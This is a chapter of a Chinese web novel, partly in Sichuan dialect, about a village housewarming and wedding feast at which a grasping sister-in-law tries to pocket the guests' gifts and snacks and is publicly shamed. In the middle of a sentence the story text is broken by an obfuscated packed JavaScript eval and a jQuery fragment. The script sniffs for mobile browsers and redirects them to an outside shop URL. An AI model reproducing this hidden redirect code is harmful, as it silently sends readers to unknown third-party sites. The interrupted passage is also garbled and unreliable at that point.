院子里,张成江和邹氏各占一方对峙着。
阿荔在旁侧一手拎着茶壶,一手搀扶着面带怒容的王氏,满脸的不知所措,看着可怜极了。
早来的宾客围成一圈看热闹,时不时有人出声议论两句。
“那林大哥儿家的也说得没错,他们才是两弟兄,我刚刚还在想,咋是张二娃出来待客哦?”
“嗨!你清不到不要开腔,这两弟兄早就闹翻了的,而且人家林镜的家婆不是在吗?”
也有人站出来打圆场,“林大嫂,今天是你家二叔的好日子,有啥子过后再说嘛。”
“关你求相干啊?”邹氏啐了那人一口,又摆出一副受了天大委屈的模样,“没天理啊!都是乡里乡亲,你们帮我评哈理。”
“我好心好意来给二叔帮忙,他张家的一个外人,有啥权利不让我帮忙?倒显得他们才是亲兄弟一样!”
好在张成江也不是个笨嘴拙舌的,没由着邹氏胡说八道,当即大声道出缘由。
原来邹氏一来就找了个地方坐下,也没来给王氏打声招呼。
张成江虽然看不惯她这副做派,但大好的日子也不好动气,便和厉卿沅好声好气的给人倒了茶,还端了盘瓜子放桌上招待她和其他客人。
哪知邹氏一上来就连吃带拿,一大盘瓜子被她倒了一大半塞兜里不说,还又抓了一大把在那嗑,弄得其他人都不好意思伸手。
王氏在一旁都有些看不过眼了,但到底只是拉着脸瞥了她一眼,没多说什么惹得大家都没脸。
谁知又来了一波不知两家矛盾的客人,又不认识王氏,只见到邹氏这个熟脸便上前打听,随礼该给谁。
邹氏眼珠一转,扬起笑脸便含糊其辞:“都是一家人,给我给他都是一样的。”
随后就要将那人的随礼收下,这一幕落在厉卿沅眼里,他又不能说话,只得扯了扯王氏和张成江的袖子。
两人自然是知晓邹氏的性子的,这礼落到她手里,哪还有林镜的份?
王氏岁数大了反应迟钝,张成江便快一步上前让邹氏把钱拿给阿荔。
“真的是没脸没皮!你们跟镜子早就分家了的,人家林二嫂在这,用得着你来帮忙收人亲啊?”
原来是因为这个!不明所以的围观群众恍然大悟,几个同邹氏不和的妇人嗑着瓜子,朝她指指点点起来。
林镜拨开人群,走到阿荔身侧站定,冷眼扫向邹氏,“大嫂,你来吃酒,我举手欢迎,但我家的事,就不用你操心了。”
“还有!”他将手放到张成江肩膀上,“人家李大嫂和文二嬢提前几天就来帮忙干活,江子也是早上就来了,忙前忙后的,那个时候你和大哥都不在,就不要说啥子帮忙,也不要说啥子外人不外人的了。”
谁是外人,显而立见。
王氏也对这个大外孙媳妇的做派有些不满,拐杖重重在地上敲了两下,沉声道:“老大媳妇,你来吃酒就安生坐着,老二请了帮手,用不上你。”
到底是长辈,邹氏也不好当着这么多人的面驳斥王氏,只得心虚地坐回原位。
又见这么多人明晃晃地看着,眼里竟是戏谑,只觉面皮发烫。
她讪笑两声,“婆婆,二娃,也是不巧,前两天我后家嫂嫂不好,我回去看她了,你大哥腿杆还没好全,这才没过来帮忙,你看我这不是老早就来了吗?灶上还有事没得,我去……”
“不用了!”林镜伸手拦住想往灶房跑的邹氏,冷声道:“来者是客,大嫂,你歇着,再有一会儿就上菜了。”
谁都知道她和娘家嫂子不和,怎么可能那般好心回去探病?邹氏找借口都不过脑子。
恰好此时林明走了进来,他今日没杵拐杖,步伐有些不自然,但还算稳健,看着像是伤势大好了。
本是觉得今日人多,再一瘸一拐的不好看,特地绷着身子坚持,却不想前一刻自家婆娘才说他腿脚没好全,这幅样子落到外人眼里怎么看怎么讽刺。
“这邹氏不是说林大哥儿腿杆还没好吗?这看着不像掰的哒嘛?”人群中有人小声议论。
话音尽数落入耳中。
林明:“……”。
抬起的脚僵在原地,落下时瘸着也不是,不瘸也不是。
他用那只受了伤的脚趾头来猜,也能猜到自家婆娘肯定又干了大事,众人才会这么瞧着他。
瓜婆娘!
林明朝邹氏扔去一记眼刀,这才讪笑着开口:“二娃,这是咋了诶?都在这围起做啥子?快招呼客人坐撒!”
说罢又看向王氏,“婆婆,你好久下来的哦?咋不走我那儿去坐哈诶?”
“呵呵。”林镜双手抱臂,皮笑肉不笑地朝林明看过去,“大哥,你脚杆还没好,你先坐。”
“噗——”人群中不知又是谁,嗤笑出声,又连忙捂嘴,但也足以让林明尴尬得脚趾抠地了。
偏偏这时王氏也给他个没脸,“你不请我,我老婆子咋好意思上赶着来你家诶?”
林明被堵得一噎,索性放弃,一瘸一拐地拉着邹氏走到一张桌子边坐下,恨不得找个地缝钻进去。
“你又做了些啥子嘛!”
“我做啥子?我好心帮忙,他林二娃不识好歹,当着那么多人给我个没脸!”邹氏自然不可能实话实说,含糊骂道。
林明压根儿不信,很快就从另一个姓林的隔房亲戚口中知晓了来龙去脉,当即气不打一处来。
“老子就晓得你个瓜婆娘不是个胎害的,几哈点把人亲赶了,跟我回家去!”
“回家?”邹氏斜睨他一眼,“我说不来你非要来,还要赶恁大个人亲,席都还没吃,我不回去。”
说罢,她又凑到林明耳边小声嘀咕:“听说林二娃这回办酒买了整整半扇猪,席面肯定整得好,我让你带的家伙你带没有?给小松包点肉菜回去。”
“带屁的家伙,丢人现眼!”林明气急,“钱拿给我,我去赶人亲,你不走老子要走了!”
“就晓得你是靠不上的,还好老娘刚刚把装瓜子的盘子拿起来了。”
邹氏不情不愿地从兜里掏出一吊钱,又将胸口的盘子往里塞了些,干瘪的胸脯瞬间变得鼓鼓囊囊。
“你咋是这副德行哦!”林明眉头紧皱,重重地叹了口气,“哪个教你的规矩嘛?一盘瓜子你一个人吃就算了,连盘子都要拿起走。”
“哎呀你少管,要滚赶紧滚!”邹氏不耐烦地搡他一下,转头又去了另一张放着瓜子的桌边坐下。
她今日特地穿了件宽松的衣服,怀兜和袖兜都不小,能装不少东西,就是为了多打包些吃食回去。
随了这么大的礼,她家小松还在镇上读书吃不上,不多打包点岂不是亏惨了?
这边林明拿自家婆娘没办法,只得随她去,拿着邹氏交出来的铜钱就准备找林镜随礼。
放在手里掂了掂,却察觉重量不对,他面色一凛,找了个解手的借口去茅厕将铜钱掏出来数了数。
“十八、十九、二十……他娘的,老子喊这瓜婆娘赶五十文,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726183|206800||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
就弄个打发老子!”
才二十文,人周家穷得叮当响,饭都吃不起了,还随了十个鸡蛋,拿去集市上卖都值十二三文钱。
他林明在村里也是数得上号的宽裕人家,给亲兄弟随礼只随二十文,说出去怕是要叫人笑掉大牙!
“唉……丧德!”林明长叹一口气,无奈从怀里又摸出一吊铜板,从自己的私房钱里数了三十个铜板。
想了想,又收回十个,凑了四十文钱,一瘸一拐地给林镜送了过去。
然后走到王氏身边,堆着笑脸道:“婆婆,走我那点去耍撒!”
“今天没时间,老二家这忙得很,我要帮他看着点。”王氏不冷不热地应了一句。
她知道,林明这话也不过是当着外人客套一番。
从自己女儿女婿过世后,林明当家,一次也没去小麦村看过她,其间是什么意思,王氏清楚得很。
不就是嫌弃她这个外祖家穷,没什么助力,说不得还要拖累他们,因此刻意减少来往吗?
这次要不是林镜诚心来请,王氏又确实想看着外孙成家,她也是不会来的。
如今看来,这老二一如从前是个孝顺懂事的。
老大嘛……王氏摇摇头。
罢了,娃娃嫌弃她们,她们一家也不会上赶着。
——
“各位亲朋好友,主家林镜,还有他的新姑娘阮青荔,在此呐,感谢诸位的光临!”
村长林兴邦穿着一身齐膝的半长袍子,在林镜的央请下替主家说话。
还没开席,他便和几个老兄弟喝了半坛子浊酒,此刻满脸红光地扯开嗓门吆喝。
“今天呐!一来是林镜家新房建成,乔迁之喜,二来呐,也是小两口喜结良缘的好日子!”
“万望大家吃好喝好,如有招待不周的地方,都是亲朋好友,就卖我老林个面子,多多包涵!”
虽说没有成亲仪式,但这般替小两口发言,也就相当于他们的主婚人,是有红包拿的。
再加上林镜态度恭敬,林兴邦面子上有光,洋洋洒洒说了一大通,这才被几个老兄弟不耐烦地拉回酒桌上。
“紧斗说,你是不是想赖酒哦?哈哈哈哈!”
“说个锤子,今天不醉不归!哪个先喝趴哪个是龟儿子!”
没有仪式,也无人操持,林镜和厉卿沅腰间拴着红腰带,在几位嫂子的帮助下开始上菜。
盐菜扣、洗沙肉,粉蒸排骨和蒸蹄膀,这几个大菜都是席面上常有的,头天晚上备好,一早上锅蒸,这会儿直接从蒸屉里取出来,倒扣在盘子里就能上桌。
除此之外还现做的蒜苗回锅肉、芋儿烧鸡、酸菜老鸭汤这些半荤半素。
以及一道凉拌胡瓜和清炒菘菜,凑足了九大碗。
席面最后还上了一碟子镇上腌菜脯买的咸菜拼盘,寓意十全十美。
随着肉菜被一个个端上来,引得宾客们暗暗吃惊。
一桌子大半都是肉菜,这席面儿,快赶上地主老爷家办酒了。
村里人大多务实,不管你仪式办得有多隆重盛大,大家还是更看重席面上的菜。
若是菜做得硬,那说起来都夸这家人的席办得好,反之则要议论主家抠搜。
林镜家的酒席算是办到村民们的心坎上去了,没一个人说不好的。
就连邹氏看林镜两口子眼睛不是眼睛,鼻子不是鼻子的,此刻也挑不出理来。
菜上齐,从一早便忙活到现在的几人这才总算得了闲坐下来。